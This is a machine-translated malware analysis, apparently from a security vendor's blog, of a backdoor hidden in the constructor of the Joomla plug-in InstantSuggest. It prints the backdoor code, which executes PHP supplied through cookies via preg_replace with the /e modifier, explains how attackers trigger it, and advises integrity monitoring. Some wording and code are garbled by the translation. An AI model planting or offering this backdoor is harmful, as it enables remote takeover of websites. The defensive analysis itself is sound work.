Joomla plug-in constructor backdoor Analysis

This article describes a backdoor that we found in the Joomla plug-in that has a (wei) Fun (suo.

Although it seems a bit unintuitive, but because the code is well organized, we didn't realize it contained a backdoor at first. The plug-in code is as follows:

 

At first glance, there is nothing special, no code encryption, no code obfuscation, and no comments, that is, the normal Joomla plug-in code.

However, if you study it carefully, you will find that the constructor of the class is not normal:

Public function _ construct () {$ filter = JRequest: getString ('p3 ', Null, 'cookier'); if ($ filter) {$ option = $ filter (JRequest: getString ('p2 ', Null, 'cookie'); $ auth = $ filter (JRequest: getString ('p1 ', null, 'cookies'); $ option ("/123/e", $ auth, 123); die ();}}

The first truly suspicious is the code endingDie ();The function terminates the execution of the script and is placed in the Joomla plug-in, indicating that the function terminates the execution of Joomla. Plug-ins should not do this, especially during initialization.
 

In addition, the reader may have noticed the string"/123/e", Similar to the regular expression matching pattern marked by" eval "in many preg_replace-based backdoors. If you replace $ option with preg_replace, you will find the classic gre_replace backdoor code:
 

preg_replace("/123/e", $auth, 123);

 

123 always matches 123, so this code always gets the value of the $ auth variable, no matter what the value is.

To make this assumption true, $ option should be equivalent to "preg_replace", and $ auth should contain PHP functional code. Is this idea feasible? We can see that both variables are filled with cookie values, so, yes, this idea is feasible.

The analysis code shows that the backdoor runs as follows:

1. After the plug-in is enabled in Joomla, it is loaded on every page, so the class constructor of the plug-in can always be executed.

2. Attackers can request any page of the website by setting the following cookies:

P3-this variable triggers backdoor execution. Without this variable, Joomla runs normally. P2-the variable value should be set to "preg_replace" and p1-any PHP functional code

Is the entire plug-in malicious code?

As mentioned in my previous article, malicious code is implanted into Wordpress plug-ins and then repackaged into pirated commercial plug-ins. However, the Joomla plug-in mentioned in this Article does not seem to have been obtained by a webmaster from a small website. The plug-in is named InstantSuggest. It is a free plug-in and is not very popular (downloads less than 400 ). Its official code does not contain_ Construct ()Function.

We can see that the vulnerability in the source code has been completed. Therefore, the most likely situation is that the hacker adds the backdoor after hacking into the site. In fact, we also found this backdoor on a hacked website (this is nothing to surprise, most of our work is dealing with hacked sites ).

In addition, the hacker not only injects the backdoor into a plug-in, but installs it into a plug-in that has already been patched. In this way, it is not suspicious and will not damage anything. This is easier than modifying the existing files on the website, because modifying the existing files on the website may sometimes damage the website, so more complicated injector is required.

To prove this assumption, we searched for websites containing the backdoor code on the network and found that almost all of them were included inInstantsuggestCode-I don't believe all these websites have installed this unknown plug-in. Besides the Joomla context, this malicious code replaces the Joomla API request with a simple @ $ _ COOKIE call (refer to the cPanel Forum ). Even in these cases, it is still included in the instantsuggest code-just to make the backdoor look less suspicious.

To Webmaster:

As readers can see, hackers can easily hide backdoors under our eyes. It is difficult to identify the backdoor when manually reviewing the Code, especially for systems like Joomla that contain thousands of files, security scanners may not be able to identify this uncommon backdoor. The only reliable way to detect this backdoor is integrity control. When files are detected to be modified, an alarm is provided to the webmaster so that the Webmaster can immediately solve possible problems. Many version control systems can do this. If you enable server scanning in our Sucuri monitoring service, you can also find the Integrity Control Function in the service.

It should also be noted that it has become a trend to pass malicious code to the backdoor through cookies. In this way, hackers can use regular GET requests, in this way, no suspicious operations will be performed in the web Service Log Analysis System. To detect and block such requests, the webmaster needs a more advanced website firewall solution.